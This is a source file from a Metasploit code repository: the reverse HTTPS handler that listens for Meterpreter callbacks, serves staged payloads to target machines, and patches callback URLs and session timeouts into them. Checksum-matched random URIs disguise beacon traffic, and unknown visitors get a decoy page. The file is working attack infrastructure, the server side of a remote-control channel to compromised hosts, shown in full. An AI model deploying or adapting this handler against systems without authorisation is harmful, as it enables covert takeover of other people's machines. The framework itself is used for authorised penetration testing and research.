Files
metasploit-gs/lib/msf/core/handler/reverse_https.rb
T
Tod Beardsley bd13720c45 Fixing checksum uri generator again.
This time, it's ensured that generate_uri_checksum(sum) will succeed,
provided the sum is an even number between 80 and 100 (tested)

It's still not great for arbitrary checksum targets, but that's because
there are lots of strings that cannot satisfy the requirement. I kind of
think this is the fault of Rex.
2012-03-28 14:33:24 -06:00

316 lines
8.3 KiB
Ruby

require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
module Msf
module Handler
###
#
# This handler implements the HTTP SSL tunneling interface.
#
###
module ReverseHttps
include Msf::Handler
#
# Returns the string representation of the handler type, in this case
# 'reverse_http'.
#
def self.handler_type
return "reverse_https"
end
#
# Returns the connection-described general handler type, in this case
# 'tunnel'.
#
def self.general_handler_type
"tunnel"
end
#
# Define 8-bit checksums for matching URLs
# These are based on charset frequency
#
URI_CHECKSUM_INITW = 92
URI_CHECKSUM_INITJ = 88
URI_CHECKSUM_CONN = 98
#
# Map "random" URIs to static strings, allowing us to randomize
# the URI sent in the first request.
#
def process_uri_resource(uri_match)
# This allows 'random' strings to be used as markers for
# the INIT and CONN request types, based on a checksum
uri_strip, uri_conn = uri_match.split('_', 2)
uri_strip.sub!(/^\//, '')
uri_check = Rex::Text.checksum8(uri_strip)
# Match specific checksums and map them to static URIs
case uri_check
when URI_CHECKSUM_INITW
uri_match = "/INITM"
when URI_CHECKSUM_INITJ
uri_match = "/INITJM"
when URI_CHECKSUM_CONN
uri_match = "/CONN_" + ( uri_conn || Rex::Text.rand_text_alphanumeric(16) )
end
uri_match
end
#
# Create a URI that matches a given checksum
#
def generate_uri_checksum(sum)
chk = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a
32.times do
uri = Rex::Text.rand_text_alphanumeric(3)
chk.sort_by {rand}.each do |x|
return(uri + x) if Rex::Text.checksum8(uri + x) == sum
end
end
raise RuntimeError, "Unable to generate a string with checksum #{sum}"
end
#
# Initializes the HTTP SSL tunneling handler.
#
def initialize(info = {})
super
register_options(
[
OptString.new('LHOST', [ true, "The local listener hostname" ]),
OptPort.new('LPORT', [ true, "The local listener port", 8443 ])
], Msf::Handler::ReverseHttps)
register_advanced_options(
[
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcible shut down', (24*3600*7)]),
OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300])
], Msf::Handler::ReverseHttps)
end
#
# Toggle for IPv4 vs IPv6 mode
#
def ipv6
self.refname.index('ipv6') ? true : false
end
#
# Create an HTTPS listener
#
def setup_handler
comm = datastore['ReverseListenerComm']
if (comm.to_s == "local")
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
# Start the HTTPS server service on this host/port
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
datastore['LPORT'].to_i,
ipv6 ? '::' : '0.0.0.0',
true,
{
'Msf' => framework,
'MsfExploit' => self,
},
comm,
datastore['SSLCert']
)
# Create a reference to ourselves
obj = self
# Add the new resource
service.add_resource("/",
'Proc' => Proc.new { |cli, req|
on_request(cli, req, obj)
},
'VirtualDirectory' => true)
self.conn_ids = []
uhost = datastore['LHOST']
uhost = "[#{uhost}]" if Rex::Socket.is_ipv6?(uhost)
print_status("Started HTTPS reverse handler on https://#{uhost}:#{datastore['LPORT']}/")
end
#
# Simply calls stop handler to ensure that things are cool.
#
def cleanup_handler
stop_handler
end
#
# Basically does nothing. The service is already started and listening
# during set up.
#
def start_handler
end
#
# Removes the / handler, possibly stopping the service if no sessions are
# active on sub-urls.
#
def stop_handler
self.service.remove_resource("/") if self.service
end
attr_accessor :service # :nodoc:
attr_accessor :conn_ids
protected
#
# Parses the HTTPS request
#
def on_request(cli, req, obj)
sid = nil
resp = Rex::Proto::Http::Response.new
print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
lhost = datastore['LHOST']
# Default to our own IP if the user specified 0.0.0.0 (pebkac avoidance)
if lhost.empty? or lhost == '0.0.0.0' or lhost == '::'
lhost = Rex::Socket.source_address(cli.peerhost)
end
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
uri_match = process_uri_resource(req.relative_resource)
# Process the requested resource.
case uri_match
when /^\/INITJM/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = "https://#{lhost}:#{datastore['LPORT']}/" + conn_id + "/\x00"
#$stdout.puts "URL: #{url.inspect}"
blob = ""
blob << obj.generate_stage
# This is a TLV packet - I guess somewhere there should be API for building them
# in Metasploit :-)
packet = ""
packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00"
packet << [url.length+8, 0x1000a].pack('NN')+url
packet << [12, 0x2000b, datastore['SessionExpirationTimeout'].to_i].pack('NNN')
packet << [12, 0x20019, datastore['SessionCommunicationTimeout'].to_i].pack('NNN')
blob << [packet.length+8, 0].pack('NN') + packet
resp.body = blob
conn_ids << conn_id
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => false
})
when /^\/A?INITM?/
url = ''
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
resp['Content-Type'] = 'application/octet-stream'
blob = obj.stage_payload
# Replace the transport string first (TRANSPORT_SOCKET_SSL
i = blob.index("METERPRETER_TRANSPORT_SSL")
if i
str = "METERPRETER_TRANSPORT_HTTPS\x00"
blob[i, str.length] = str
end
print_status("Patched transport at offset #{i}...")
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
i = blob.index("https://" + ("X" * 256))
if i
url = "https://#{lhost}:#{datastore['LPORT']}/" + conn_id + "/\x00"
blob[i, url.length] = url
end
print_status("Patched URL at offset #{i}...")
i = blob.index([0xb64be661].pack("V"))
if i
str = [ datastore['SessionExpirationTimeout'] ].pack("V")
blob[i, str.length] = str
end
print_status("Patched Expiration Timeout at offset #{i}...")
i = blob.index([0xaf79257f].pack("V"))
if i
str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
blob[i, str.length] = str
end
print_status("Patched Communication Timeout at offset #{i}...")
resp.body = blob
conn_ids << conn_id
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => true
})
when /^\/(CONN_.*)\//
resp.body = ""
conn_id = $1
if true # if not self.conn_ids.include?(conn_id)
print_status("Incoming orphaned session #{conn_id}, reattaching...")
conn_ids << conn_id
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => "https://#{datastore['LHOST']}:#{datastore['LPORT']}/" + conn_id + "/\x00",
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => true
})
end
else
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{uri_match} #{req.inspect}...")
resp.code = 200
resp.message = "OK"
resp.body = "<h3>No site configured at this address</h3>"
end
cli.send_response(resp) if (resp)
# Force this socket to be closed
obj.service.close_client( cli )
end
end
end
end